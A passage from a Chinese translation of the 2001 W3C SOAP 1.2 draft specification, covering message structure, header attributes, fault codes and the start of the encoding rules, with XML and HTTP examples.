SOAP的主要设计目标是简明性和可扩展性。这就意味着有一些传统消息系统或分布式对象系统中的特性将不包含在SOAP的核心规范中。这些特性包括：

  • 分布式垃圾收集 (distributed garbage collection);

  • 批量消息传输/处理 (boxcarring or batching of messages);

  • 对象引用 (objects-by-reference, 需要分布式垃圾收集的支持);

  • 对象激活 (activation, 需要对象引用的支持)。

1.2 符号约定

本文中的关键词“MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, “OPTIONAL”的语义应当参阅RFC-2119[2]。在本中文版规范中被翻译成：“必须”、“必须不”，“需要的”，“将”，“将不”，“应该”，“应该不”，“被推荐的”，“可以”，“可选的”。

本文中使用的命名空间前缀“env”和“enc”等关联的SOAP命名空间分别位于以下位置："http://www.w3.org/2001/06/soap-envelope" 和"http://www.w3.org/2001/06/soap-encoding"。

在本文的全部内容中，命名空间前缀"xs"和"xsi"总假定是与"http://www.w3.org/2001/XMLSchema" 和"http://www.w3.org/2001/XMLSchema-instance"相关联的，这是由XML Schemas规范[10,11]所定义的。

值得注意的是其他的对命名空间前缀的使用都是比较随意的而并没有显著语义的约束的。

若命名空间的URI使用"http://example.org/..."或"http://example.com/..."的形式，表明这是一些应用依赖或上下文依赖的URI[4]。

本规范使用扩充BNF(Backus-Naur Form)作为构造语言，可参阅RFC-2612 [5]。

编辑的注解将使用黄色背景标识(也许无法在所有的媒介上显示)，并使用前缀"Ednote"。

1.3 SOAP消息示例

第一个例子展示了一个使用SOAP表示的简单的通知消息。该消息包含了一个消息头"alertcontrol"和消息体"alert"，这两部分都是由应用程序定义的，而而并不是由SOAP定义的。消息头包含了两个参数"priority"和"expires"，用于消息传输中介和消息接受者对消息的处理。而消息体中则包含是实际传送的消息。

Example 0
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope">
<env:Header>
  <n:alertcontrol xmlns:n="http://example.org/alertcontrol">
<n:priority>1</n:priority>
<n:expires>2001-06-22T14:00:00-05:00</n:expires>
  </n:alertcontrol>
</env:Header>
 <env:Body>
  <m:alert xmlns:m="http://example.org/alert">
<m:msg>Pick up Mary at school at 2pm</m:msg>
  </m:alert>
</env:Body>
</env:Envelope>
Sample SOAP Message containing a header block and a body block

SOAP消息能够与不同的底层协议进行绑定，同时可以在很多种消息传输模式中使用。下面的例子则展示了SOAP是如何在HTTP的连接中使用的，其中充分使用了HTTP提供的请求/相应机制(参阅 section 6)。

Example 1和Example 2展示了一个SOAP/HTTP请求的例子和一个SOAP/HTTP响应的例子。SOAP/HTTP请求包含了一个获取最后交易价格(GetLastTradePrice)的信息块，其中包含了一个简单的参数，指明需要报价的股票代号。同样，与先前的例子相似，GetLastTradePrice这个XML元素也并不是由SOAP自身定义的。该请求的服务响应也包含了一个简单的参数，股票的价格。SOAP信封元素是表示SOAP消息的XML文档的顶级元素。XML命名空间则用来消除SOAP标识符与应用定义的标识符之间可能存在的歧义。

Example 1
POST /StockQuote HTTP/1.1
Host: www.stockquoteserver.com
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "http://example.org/2001/06/quotes"
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Body>
<m:GetLastTradePrice
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
xmlns:m="http://example.org/2001/06/quotes">
<symbol>DIS</symbol>
</m:GetLastTradePrice>
</env:Body>
</env:Envelope>
Sample SOAP Message embedded in an HTTP Request

Example 2展示了StockQuote服务响应由Example 1描述的请求消息而返回的SOAP消息。

Example 2
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<env:Envelope xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<env:Body>
<m:GetLastTradePriceResponse
env:encodingStyle="http://www.w3.org/2001/06/soap-encoding"
xmlns:m="http://example.org/2001/06/quotes">
<Price>34.5</Price>
</m:GetLastTradePriceResponse>
</env:Body>
</env:Envelope>
Sample SOAP Message embedded in an HTTP Response

在Appendix A中提供了更多的例子。

1.4 SOAP术语

1.4.1 协议概念

SOAP

关于SOAP消息的格式和处理规则、为沿着SOAP消息路径交换信息而需要的不同应用程序之间生成和接收SOAP消息的交互过程的简单控制机制等的一整套规范和约定。

SOAP绑定

为传输的需要而将SOAP消息在另一个底层协议之上或之内传输的一整套规范和规则。典型的SOAP绑定包括在HTTP消息中传送SOAP消息或在TCP之上传送SOAP消息等。

SOAP结点

SOAP结点根据SOAP定义的整套规范来处理SOAP消息。SOAP结点有责任遵守SOAP消息交换的规则以及提供通过依赖底层协议的SOAP绑定来访问的服务。任何不符合SOAP约定的情况都将导致SOAP结点产生一个SOAP错误(可参阅SOAP接受者和SOAP发送者)。

1.4.2 数据封装概念

SOAP消息

SOAP消息(message)是在对等SOAP结点(SOAP nodes)间通讯的基本单位。

SOAP信封

SOAP信封(envelope)是SOAP规范中定义的SOAP消息(SOAP message)在句法上的最外层结构。在句法上，它包含了所有其他的元素。

SOAP条目

SOAP条目是一个句法上的结构，它用于包含一个逻辑上的单一元素，这一元素是需要被SOAP结点处理的。一个SOAP条目是由该条目最外层元素的完整修饰名所标识的，这个完整修饰名是由一个局部名和一个命名空间URI组成的。封装在SOAP header中的SOAP条目成为Header条目，而封装在SOAP body中的SOAP条目为Body条目。

SOAP header

能够被SOAP消息路径中任意的SOAP接受者处理的一组SOAP条目(0个或多个)。

SOAP body

能够被SOAP消息路径中的最终SOAP接受者处理的一组SOAP条目(0个或多个)。

SOAP fault

SOAP结点产生的用于包含错误信息的特殊的SOAP条目。

以下的图表演示了一个SOAP消息是如何组成的。

Figure 1: Encapsulation model illustrating the parts of a SOAP message

SOAP message model

1.4.3 消息发送者和接收者概念

SOAP发送者

SOAP发送者是发出SOAP消息的SOAP结点。

SOAP接收者

SOAP接收者是接受SOAP消息的SOAP结点。

SOAP消息路径

为传送一个简单的SOAP消息而要经过的一组SOAP发送者和SOAP接受者。其中包含了初始SOAP发送者、零个或多个SOAP中介以及最终SOAP接受者。

初始SOAP发送者

SOAP消息的最初产生者，同时也是SOAP消息路径的第一个结点。

SOAP中介

SOAP中介即是SOAP接收者也是SOAP发送者，是SOAP消息可到达的某一个应用程序。当SOAP消息沿着SOAP消息路径传输时，SOAP中介将处理一组确定的SOAP条目，然后它将消息转发给消息路径的下一个SOAP结点，直至传送到最终SOAP接收者。

最终SOAP接收者

由初始SOAP发送者指定的通过SOAP消息路径传送SOAP消息的最终SOAP接收者。如果在SOAP消息路径中有SOAP结点产生了SOAP错误，那么SOAP消息将不会到达最终接收者。

1.4.4 数据编码概念

SOAP数据模型

一组抽象的构造约定，用于描述通用的数据类型和数据中的链接关系。

SOAP数据编码

在SOAP消息中使用一个或多个SOAP条目，按照SOAP数据模型完成句法上的数据表示。

2. SOAP消息交换模型

从根本上来看，SOAP消息是从发送方到接受方的一种传输方法，但就象前面例子中阐述的那样，SOAP消息一般会和实现模式结合，例如请求/响应。

SOAP的实现可以为特殊网络系统的特有特征来优化。例如，在section 6中描述的HTTP binding将SOAP响应消息通过HTTP响应来传输，使用与相对应请求的同一HTTP连接。

2.1 SOAP结点

SOAP结点可以是初始SOAP发送者，可以是最终SOAP接收者，也可以是同时作为SOAP发送者和接收者的SOAP中介。SOAP并不提供一个路由机制，曾因此SOAP需要识别SOAP发送者产生的SOAP消息应当通过哪些零个或多个SOAP中介被发送到一个最终SOAP接收者。

接收到SOAP消息的SOAP结点必须能够实施处理、产生必要的SOAP错误和SOAP响应，如果合适的话还应当根据本规范的后续描述生成额外的SOAP消息。

2.2 SOAP角色与SOAP结点

当处理一个SOAP消息的时候，SOAP结点将被告知应当以一个或多个SOAP处理角色来处理，这些SOAP角色由SOAP actor名来标识，SOAP actor的名字是一个URI。每个SOAP结点都必须以一个指定的角色来处理，这个角色使用命名为"http://www.w3.org/2001/06/soap-envelope/actor/next"的SOAP actor来表示，同时可以按照需要应用零个或多个其他SOAP actor表示的额外角色。SOAP结点可以通过以匿名SOAP actor的角色来实施处理以使得自己成为最终SOAP接收者。当SOAP结点在处理一个SOAP消息的时候，其表现出的SOAP角色在整个处理过程中不得更改。这是因为本规范只涉及如何处理单个SOAP消息而无需考虑状态，因此是否允许在处理单个SOAP消息的时候转换角色是没有意义的。

SOAP actor名字是用来识别SOAP结点的，并没有与路由或者消息交换的语义相联系。举例来说，一个SOAP actor可以被命名为一个用来发送SOAP消息给适当SOAP结点的URI。相反，也有这样一些SOAP处理角色的名字，这些名字或者直接和消息路由相联系(例如,http://example.org/banking/anyAccountMgr)，或者和路由没有联系(例如，当一个消息头被用来携带一个指示，该指示用来告知任何有关的软件该SOAP消息是长期不变的，是能够被安全的缓存和重用的，在这种SOAP消息头中，一个URI可以用于标识“所有缓存管理软件”)，通过名字使用这些SOAP处理角色也是合适的。

2.3 定位SOAP Header条目

SOAP header条目包含可选的env:actor属性(参阅section 4.2.2)用来把他们定位到合适的SOAP结点。没有该属性的SOAP Header隐含地定位到一个匿名的SOAP actor，这意味着他们被处理为最终的SOAP接收者。我们把SOAP actor属性的值(隐含的或者直接指明的)作为相应SOAP条目(SOAP Header条目或者SOAP Body条目)的SOAP actor。

如果SOAP条目中SOAP actor(如果出现的话)匹配了一个SOAP结点的角色，或者是SOAP条目没有actor属性(包括SOAP Body条目)而该SOAP结点已经假设为匿名SOAP处理角色，这时我们就说SOAP条目被指向一个SOAP结点。

2.4 理解SOAP Header

我们认为随着时间的过去，会有大量的SOAP Header函数规范出现，而且每个SOAP结点都可以包含一个或多个处理这些扩展所必须的软件。如果SOAP结点的软件是完全兼容的而且实现了那些由条目中完整修饰的最外层元素名所传递的语义，我们说这个SOAP Header被一个SOAP结点理解。

当定位到一个SOAP结点的SOAP Header块的mustUnderstand属性为“1”，被指向的SOAP结点必须：或者依照由条目中完整修饰的最外层元素名传递的语义来处理SOAP块，或者更本不处理SOAP消息而失败(参见section 4.4).。

2.5 处理消息

本节陈述了SOAP消息处理规则。除非另外规定，处理必须在语义上等同于分别执行下述的步骤，同时还必须按照给定的顺序。注意到，无论如何在这个规范中都没有阻止使用如并行、回滚或者其他可以在处理中提高灵活性的技术，只要所有的SOAP消息、SOAP fault和应用程序级的结果和那些直接执行下列规则得到的结果是相同的。

  1. 如果一个或多个定位到SOAP结点的SOAP条目有env:mustUnderstand="1"并且没有被结点理解，则产生一个SOAP mustUnderstand错误。如果这样一个错误产生了，那么必须停止进一步的处理。

  2. 处理定位到SOAP结点的SOAP条目，如果需要，产生SOAP错误。当定义env:mustUnderstand="1"时，一个SOAP结点必须处理SOAP块。如果没有定义，那么SOAP结点可以处理或忽略该SOAP条目。如果一个SOAP条目被处理，无论如何，这个SOAP结点必须理解该SOAP条目而且必须以和那个SOAP条目说明完全一致的样式进行处理。而对于错误，无论是那种，也必须和SOAP条目的说明一致。有可能处理特殊SOAP条目会控制或者决定其他SOAP条目的处理顺序。例如，一个SOAP条目可能建立一个SOAP Header条目用来强制按词汇的顺序执行其他的SOAP Header条目。如果没有这样一个SOAP条目，处理的顺序是由SOAP结点来判断的。当处理一个SOAP条目的时候，SOAP结点可以引用SOAP envelope中的任何信息。例如如果需要，一个缓存函数可以缓存整个SOAP消息。

如果SOAP结点是一个SOAP中介，SOAP消息的式样和处理的结果(如果没有产生错误)可以要求进一步沿着SOAP消息路径送递SOAP消息。这种接力转递必须以同样顺序包括从SOAP消息源来的所有的SOAP Header条目和SOAP Body条目，除了那些指向SOAP中介的SOAP Header条目，这些条目必须被移去(无论他们是否被处理，这些SOAP条目都将被移去)。附加的SOAP Header条目可以被插入在SOAP消息的任何一点，这样被插入的SOAP Herder条目可能没法和刚刚被移走的一个或多个条目区分开来(实际上是会将他们保留，但强调需要沿着SOAP消息路径重新解释每个SOAP结点)

3. 与XML的关系

所有的SOAP消息都是使用XML格式来编码的(可参阅[7]以获得更多的XML的信息)。

SOAP应用程序在生成由SOAP定义的所有元素和属性的时候，应该包含恰当的SOAP命名空间。SOAP应用程序必须能处理其收到的消息中的SOAP命名空间。它必须丢弃那些包含不正确命名空间(参阅 section 4.4)的消息，并且可以处理那些不包含SOAP命名空间的SOAP消息，就好象他们包含了正确的命名空间一样。

SOAP定义了以下的命名空间 (可参阅[8]以获得更多的XML命名空间的信息):

  • SOAP信封的命名空间标识为 "http://www.w3.org/2001/06/soap-envelope"

  • SOAP遍序的命名空间标识为 "http://www.w3.org/2001/06/soap-encoding"

  • SOAP mustUnderstand fault的命名空间标识为 "http://www.w3.org/2001/06/soap-faults"

  • SOAP upgrade的命名空间标识为 "http://www.w3.org/2001/06/soap-upgrade"

而这些命名空间的模式文档可以通过解析这些命名空间标识符来获得。

SOAP消息必须不包含DTD，同时SOAP消息也必须不包含PI(Processing Instructions)。 [7]

SOAP使用局部的非限制的ID类型的id属性来指定编码元素(encoded element)的唯一标识，使用局部的非限制的uri-reference类型的href属性来指定编码元素的值的应用，以获得与XML规范[7]、XML Schema规范[11]和XML Linking Language规范[9]的一致。

除SOAP mustUnderstand属性(参阅 section 4.2.3)和SOAP actor属性(参阅 section 4.2.2)外，一般允许属性及属性值自由地选择是在XML实例中描述还是在XML Schema中描述，当然前提是他们具有相同的效果。也就是说，在DTD或模式(schema)中使用默认值或固定值定义在语义上等价于在实例中的定义。

4. SOAP信封

SOAP消息是由一个强制的SOAP Envelope、一个可选的SOAP Header和一个强制的SOAP Body组成的XML文档。作为SOAP消息的该XML文档将在本规范的其余部分被引用。而本节的元素和属性的命名空间标识是"http://www.w3.org/2001/06/soap-envelope"。SOAP消息应当包含如下部分：

  • 一个SOAP envelope。Envelope是表示该消息的XML文档的顶级元素。

  • 一个SOAP Header。Header则是为了支持在松散环境下在通讯方(可能是SOAP发送者、SOAP接受者或者是一个或多个SOAP的传输中介)之间尚未预先达成一致的情况下为SOAP消息增加特性的通用机制。SOAP定义了很少的一些属性来用于指明谁可以处理该特性以及它是可选的还是强制的。(参阅 section 4.2)

  • 一个SOAP Body。Body为该消息的最终接收者所想要得到的那些强制信息提供了一个容器(参阅 section 4.3)。此外，SOAP定义了Body的一个子元素Fault用于报告错误。

语法规则如下:

  1. SOAP Envelope

    • 元素名为"Envelope"。

    • 该元素必须在SOAP消息中出现。

    • 该元素可以包含命名空间申明和额外的属性。如果出现额外属性，则必须有命名空间修饰。类似的，该元素可以包含额外的子元素，这些子元素如果出现，必须有命名空间修饰并且必须跟在SOAP Body元素之后。

  2. SOAP Header (参阅 section 4.2)

    • 元素名为"Header"。

    • 该元素可以在SOAP消息中出现。如果出现，该元素必须是SOAP Envelope元素的第一个直接子元素。

    • 该元素可以包含一系列的Header条目，这些条目都应当是Header元素的直接子元素。Header的所有直接子元素必须有命名空间修饰。

  3. SOAP Body (参阅 section 4.3)

    • 元素名为"Body"。

    • 该元素必须在SOAP消息中出现，同时必须是SOAP Envelope元素的一个直接子元素。若该消息中包含Header元素，则Body元素必须直接跟随Header，为Header元素的相邻兄弟元素。若Header不出现，则其必须是Envelope的第一个直接子元素。

    • 该元素可以包含一系列的Body条目，这些条目都应当是Body元素的直接子元素。Body的所有直接子元素必须有命名空间修饰。SOAP定义了SOAP Fault元素，它用来指示错误消息。(参阅 section 4.4).

4.1.1 SOAP encodingStyle属性

SOAP的全局encodingStyle属性被用于指明在SOAP消息中使用哪种编序规则。该属性可以在任意元素中出现，并且其作用范围包括该元素的内容和所有其子元素中未使用该属性的所有子元素，这就象XML命名空间定义的作用范围。对于一个SOAP消息来说，没有默认的编码定义。

该属性的值是一个或多个用于标识编序规则和用于标识解序SOAP消息的规则的有序列表，其排序是按照详尽程度从大到小排列。Example 3展示了encodingStyle属性的三个例子：

Example 3
encodingStyle="http://www.w3.org/2001/06/soap-encoding"
encodingStyle="http://example.org/encoding/restricted http://example.org/encoding/"
encodingStyle=""
Example values for the encodingStyle attribute

在section 5中定义的编序规则的标识为"http://www.w3.org/2001/06/soap-encoding"。消息若要使用特别的编序应该使用SOAP encodingStyle属性来指明。另外，所有在句法上由"http://www.w3.org/2001/06/soap-encoding"开始的URI序列表明这其中包含的所有URI都与section 5中定义的SOAP编码规则相一致。(虽然可能会添加潜在的更为严格的规则)

一个空值的URI(“”)明确地指明并未为其所包含的元素声明任何编码风格。这可以为包含的元素关闭任何声明。

4.1.2 Envelope版本模型

SOAP并未定义一个传统的基于主辅版本号的版本模型。SOAP消息必须包含一个与命名空间"http://www.w3.org/2001/06/soap-envelope"相关联的Envelope元素。如果SOAP应用程序收到一个SOAP消息，这个消息中的Envelope元素与一个与"http://www.w3.org/2001/06/soap-envelope"不同的命名空间相关联，则该应用程序必须视其为一个版本错误并生成一个VersionMismatch SOAP错误。SOAP VersionMismatch错误消息必须使用SOAP 1.1的信封命名空间"http://schemas.xmlsoap.org/soap/envelope/"(参阅 Appendix C)修饰。

4.2 SOAP Header

SOAP提供了一个可伸缩的机制用于在分散的模块化的环境下扩展SOAP消息，而通讯双方并不需要有预先的约定知识。典型的扩展例子可以是实现一些诸如认证、事务管理以及支付的Header条目。

SOAP Header元素应当被编码为SOAP Envelope XML文档的第一直接子元素。Header的所有直接子元素都被称为Header条目。

Header条目的编码规则包括:

  1. 一个SOAP Header条目由一个完整修饰的元素名来标识，所谓完整修饰的元素名是由一个命名空间URI和局部名来组成。SOAP Header元素的所有直接子元素都必须是完整修饰的。

  2. SOAP encodingStyle属性可以用于指明Header条目的编码风格(参阅 section 4.1.1)。

  3. SOAP actor属性(参阅 section 4.2.2)和SOAP mustUnderstand属性(参阅 section 4.2.3)可以用于指明由哪个SOAP结点来处理条目以及如何处理条目。

4.2.1 使用Header属性

本节中定义的SOAP Header属性决定了SOAP消息的接收者应该如何处理消息(参阅 section 2)。一个生成SOAP消息的SOAP应用程序应该仅使用SOAP Header元素的直接子元素的SOAP Header属性。而对于那些并非作为SOAP Header元素的直接子元素出现的SOAP Header属性，SOAP消息的接受者必须忽略。

以下是一个SOAP Header的例子(Example 4)，其中包含了一个元素标识Transaction和一个mustUnderstand属性及其值1，以及Transactin的值5：

Example 4
<env:Header xmlns:env="http://www.w3.org/2001/06/soap-envelope" >
<t:Transaction xmlns:t="http://example.org/2001/06/tx" env:mustUnderstand="1" >
5
</t:Transaction>
</env:Header>
Example header with a single header block

4.2.2 SOAP actor属性

EdNote: This section partially overlaps with section 2. We expect this to be reconciled in a future revision of the specification.

SOAP消息从生成者到达最终接受者，将潜在地沿着消息路径(message path)经过一系列的SOAP中间介。SOAP中间介是一个能够接受和转发SOAP消息的应用程序。所有的中间介都如同最终接受者一样由一个URI来标识。

并非一个SOAP消息的所有部分都是最终接收者想要的，其中部分是路径中的一个或多个中间介所需要的。Header元素中接收者角色类似和约的接受者，他并不能将其交给其它方。也就是说，一个接收者接到其想要的一个Header元素必须不转发该Header给SOAP消息路径中的下一个应用程序，因为合约关系是存在于前二者之间的。该接收者可以插入一个类似的Header元素，但在这个情况下，和约关系存在于该应用程序及下一个Header元素的接收者之间了。

SOAP actor全局属性可以被用于指明Header元素的接收者。而SOAP actor属性的值是一个URI。这个特别的URI"http://www.w3.org/2001/06/soap-envelope/actor/next"指明该Header元素是直接的下一个进行消息处理的SOAP应用程序想要的。这与HTTP的连接头字段的hop-by-hop scope model的表示。

若省略SOAP actor属性，则表明接收者是SOAP消息的最终接收者。

这个属性必须出现在SOAP消息的实例中，而不能定义在相关的XML Schema中以期获得同样效果(参阅 section 3 和section 4.2.1)。

4.2.3 SOAP mustUnderstand属性

EdNote: This section partially overlaps with section 2. We expect this to be reconciled in a future revision of the specification.

SOAP mustUnderstand全局属性用于指明一个Header条目是强制的还是可选的要求接收者处理。Header条目的接收结点由SOAP actor属性来定义(参阅 section 4.2.2)。mustUnderstand属性的值可为“0”或“1”。若没有使用SOAP mustUnderstand属性，则在语义上等价于mustUderstand属性出现同时取值为“0”，也就是说这个条目是可选的。

若Header条目带有值为“1”的SOAP mustUnderstand属性，则该Header条目的接收结点要么必须遵循语义(由具备完整修饰的元素名来传达)并正确地处理这些语义，要么必须宣称处理消息失败(参阅 section 4.4)。

SOAP mustUnderstand属性是为了考虑健壮地升级而设置的。所有用值为“1”的SOAP mustUnderstand属性来标记的元素必须被认为是可以影响该元素的上级元素或同级元素的语义。而这种风格标记的元素应保证对语义的修改并不能被那些不能完全理解该修改后的语义的那些元素静默地或假设地、不正确地忽略。

该属性若要生效必须在实例中出现，而不能定义在相关的XML Schema中以期获得同样效果(参阅 section 3 和section 4.2.1)。

4.3 SOAP Body

SOAP Body元素提供一个简单的用于与消息的最终接收者交换强制信息的机制。而Body元素的典型应用包含序列的RPC调用和错误报告。

Body元素在编码上应当作为SOAP Envelope元素的一个直接子元素。如果包含Header元素，则Body元素必须直接跟随Header元素，为Header元素的直接下一个兄弟元素，否则Body元素必须是Envelope元素的第一直接子元素。

所有Body元素的直接子元素被成为SOAP Body条目，同时每一个Body条目都应当编码为SOAP Body元素里的一个独立元素。

Body条目的编码规则包括:

  1. 一个Body条目由一个完整修饰的元素名来标识，所谓完整修饰的元素名是由一个命名空间URI和局部名来组成。SOAP Body元素的直接子元素可以是命名空间修饰的。

  2. SOAP encodingStyle属性可以被用来表明Body条目中使用的编码规则(参阅 section 4.1.1)。

SOAP定义了一个Body条目，用于报告错误的Fault条目(参阅 section 4.4)。

4.3.1 SOAP Header和Body的关系

Header和Body在定义上是独立的，但在事实上是相联系的。一个Body条目和一个Header条目的关系是：一个Body条目在语义上与这样一个Header条目等价，该Header条目将由默认参与者(最终接受者)解释同时由值为“1”的SOAP mustUnderstand属性标记。默认参与者可以使用actor属性缺失的方式来指明(参阅 section 4.2.2)。

4.4 SOAP错误

SOAP Fault元素是用于在SOAP消息中传输错误或状态信息。如果SOAP消息需要包含SOAP Fault元素的话，它必须作为一个Body条目出现，同时在Body元素内它必须不出现多于一次(至多出现一次)。

SOAP Fault元素定义了如下子元素:

faultcode

faultcode元素是应那些要提供一个算法上的机制来标识错误的软件的需要。faultcode必须在SOAP Fault元素中出现，同时faultcode的值必须是如[8]中的第3节中定义的一个修饰(限制)名。SOAP定义了一个很小的SOAP错误代码的集合用于覆盖基本的SOAP错误(参阅 section 4.4.1)。

faultstring

faultstring元素是为那些错误代码提供一个人可以读懂的错误解释，它不是为程序处理而设。Faultstring元素有点类似于HTTP中定义的’Reason-Phrase’(参阅 [5], section 6.1)。faultstring必须在SOAP Fault元素中出现，同时它至少应该提供一些解释该错误种类的信息。

faultactor

faultactor元素是为在SOAP消息路径(参阅 section 2)中是谁引起了该错误的发生这一情况描述信息。它类似于SOAP actor属性(参阅 section 4.2.2)，不过它不是用于指示Header条目的接收者，而是用于指示错误源。faultactor属性的值是一个标识该源的一个URI。所谓并非作为SOAP消息最终接收者的应用程序必须在SOAP Fault元素中包含faultactor元素。而消息的最终接收者可以使用faultactor元素来明确地指明是它生成了该错误(参阅下面的detail元素]。

detail

detail元素是用于传输与SOAP Body元素相关的应用程序特别的错误信息。如果Body元素中的内容不能被成功地处理的时候，它必须出现。它必须不能被用于传输属于Header条目的错误信息。详细的属于Header条目的错误信息必须在Header条目中表示传输，如果需要例子的话，请参阅section 4.4.2。

若SOAP Fault元素中不出现detail元素则表明其中的错误与Body元素的处理无关。这可以用于区分在错误情况下Body元素是否被SOAP的最终接受者处理过。

detail元素的所有直接子元素都被称为detail条目，同时每个detail条目都作为detail元素中的一个独立的元素进行编码。

Detail条目的编码规则如下(也可以参阅 example 10):

  1. 一个detail条目由一个完整修饰的元素名来标识，所谓完整修饰的元素名是由一个命名空间URI和局部名来组成。Detail元素的直接子元素可以是命名空间修饰的。

  2. SOAP encodingStyle属性可以被用来表明detail条目中使用的编码规则(参阅 section 4.1.1)。

4.4.1 SOAP错误代码

当描述由本规范定义的错误的时候，faultcode元素必须使用在本节中定义的faultode的值。这些faultcode值的命名空间标识为"http://www.w3.org/2001/06/soap-envelope"。在现有规范之外定义的方法的规范推荐使用该命名空间(但不是必须的)。

默认的SOAP faultcode值是按照一种可扩展的风格来定义的，它允许在维持已有的faultcode值的向后兼容的基础定义新的SOAP faultcode值。这一机制在使用上非常类似与HTTP中基本状态类的定义1xx, 2xx, 3xx等(参阅[5]中的section 10)。不过，他们是用XML修饰名来定义(参阅[8]中的section 3)，而不是用整数。“.”符号是faultcode值的分隔符，用于指明“.”左边的是一个比右边更泛化的错误代码。Example 5显示了这一特性：

Example 5
Client.Authentication
Example of an authentication fault code

在SOAP中定义的faultcode值集合被罗列在下表。

Name | Meaning
VersionMismatch | 处理程序发现在SOAP Envelope元素中有一个非法的命名空间。(参阅 section 4.1.2)
MustUnderstand | SOAP Header元素的一个直接子元素无法被理解或者他并不遵守由处理对象要求的SOAP mustUnderstand属性必须取值为“1”的要求。(参阅 section 4.2.3)
Client | Client错误类用于指示以下错误：消息的格式有误或消息中缺乏能成功处理所必须的一些适当信息。例如，消息中可能缺乏适当的认证和支付信息。一般情况下应指明消息不应该在没有修改过的情况下重发。可参阅section 4.4来参阅Fault detail子元素的描述。
Server | Server错误类用于表明消息无法被处理的原因，但那些属于内容上的错误并不属于该范畴，它主要被用于指示那些属于处理上的错误。例如，处理操作需要包含与一个上游处理程序进行通讯，但该程序没有响应。但该消息可能在下一个时间点上被成功处理。可参阅section 4.4来参阅Fault detail子元素的描述。

4.4.2 MustUnderstand错误

当SOAP结点产生一个MustUnderstand错误时，它应该在产生出的出错消息中按照下面描述的的方式提供相应的Header条目。在产生的错误消息中，它应该提供Header条目来描述不能被理解的带修辞的名的细节(Qnames，由XML Schema数据类型说明)。

每个这样的Header条目有个本地的名字为Misunderstood以及一个叫"http://www.w3.org/2001/06/soap-faults"的命名空间。每个块都有一个名为qname的不带修饰的属性，它的值为出错结点所不能理解的Header条目的Qname。

举例来说，如果最初消息的容器不能理解Example 6中的两个Header元素abc:Extension1和def:Extension2，则会产生出错消息，该消息显示在Example 7中。

Example 6
<env:Envelope xmlns:env='http://www.w3.org/2001/06/soap-envelope'>
<env:Header>
<abc:Extension1 xmlns:abc='http://example.org/2001/06/ext'
env:mustUnderstand='1' />
<def:Extension2 xmlns:def='http://example.com/stuff'
env:mustUnderstand='1' />
</env:Header>
<env:Body>
. . .
</env:Body>
</env:Envelope>
SOAP envelope that will cause a SOAP MustUnderstand fault if Extension1 or Extension2 are not understood

Example 7
<env:Envelope xmlns:env='http://www.w3.org/2001/06/soap-envelope'
xmlns:f='http://www.w3.org/2001/06/soap-faults' >
<env:Header>
<f:Misunderstood qname='abc:Extension1'
xmlns:abc='http://example.org/2001/06/ext' />
<f:Misunderstood qname='def:Extension2'
xmlns:def='http://example.com/stuff' />
</env:Header>
<env:Body>
<env:Fault>
<faultcode>MustUnderstand</faultcode>
<faultstring>One or more mandatory headers not understood</faultstring>
</env:Fault>
</env:Body>
</env:Envelope>
SOAP fault generated as a result of not understanding Extension1 and Extension2 in Example 6

注意到这里不需要命名空间前缀返回与源Header元素命名空间相匹配的qname，倘若前缀映射到一个相同的命名空间名，则错误结点可使用任意前缀。

还注意到这里没有保证每个Mustunderstand错误都包含所有的Misunderstood Header 的Qname,SOAP结点可以在第一个Header块产生一个只包含单个Header块错误细节信息之后再产生一个错误。SOAP结点也可以产生一个一次包含所有MustUnderstand问题细节的混合错误。

5. SOAP编码

SOAP编码风格是基于一个简单类型系统，而这个系统是程序语言、数据库和半结构数据中类型系统的公共特性的泛化。一个类型要么是一个简单(可量化的)类型或是一个复合类型，这个复合类型由多个部分组成，每个部分是一个类型。下面会有类型的更为详细的描述。本节定义了一个编序规则，用于可类型化对象图的编序。它在两个级别上操作。首先，给出一个符号上一致化的由该类型系统描述的模式，构造一个XML语法层的模式。其次，提供一个类型系统的模式以及一个与该模式相一致的值的表示方法，构造一个XML实例层的模式。反之，先提供一个符合这些规则XML实例，然后再给出原始的模式、一个原始值表示，也是可以构造的。

在本节中定义的元素和属性所用到的命名空间标识是"http://www.w3.org/2001/06/soap-encoding"。而这些编码的例子中假定所有命名空间声明都是在更高的元素层次上。

在本节中描述的数据模型和编码风格的使用方式是被鼓励的而不是必备的，其他的数据模型和编码也是可以与SOAP联合使用的(参阅 section 4.1.1)。

5.1 使用XML进行类型编码的规则

XML允许非常柔性地编码数据。SOAP只定义了非常有限的编码规则。本节在一个高层次上定义编码规则，而下一节则描述明确类型的编码规则，当有更细节的需求的时候。本节中描述的编码可以与Section 7中描述的RPC调用和响应的映射联合使用。

为了描述编码，以下术语将被使用:

  1. “value”值是一个字符串(string)、一个可量度对象(数字、日期、玫举)的名字、或是数个简单值的组合。所有的值都有明确的类型。

  2. “simple value”简单值是是一个不可分的值，它不包含任意可以命名的部分。简单值的离子可以是特定的字符串、证书或玫举值等。

  3. “compound value”复合值是一个值的关系的聚集。复合值的例子可以是特定的采购定单、存货报表、街道地址等。

  4. 在一个复合值中，每一个相关的值都可以用一个角色名来区分，也可以用一个序数来区分，当然也可以同时使用两者。这被称为“accessor”存取标识。复合值的离子包括特定的采购定单、存货报表等。数组也是复合值。它可以被看成是具有多个相同名字的存取标识(accessor)的复合值，例如RDF。

  5. “array”数组是一个复合值，在其成员值之间仅有顺序位置不同。

  6. “struct”结构是一个复合值，在其成员值之间的区分是依靠存取标识(accessor)。同时所有存取标识的名应不同。

  7. “simple type”简单类型是简单值的类。简单类型的例子包括那些类“string”, “integer”，玫举类等。

  8. “compound type”复合类型是复合值的类。复合类型的例子包括采购定单的抽象类型，这些由该类型派生的采购定单具备相同的存取标识(shipTo, totalCost等)，当然他们有不同的值(也许对某些值还有约束)。

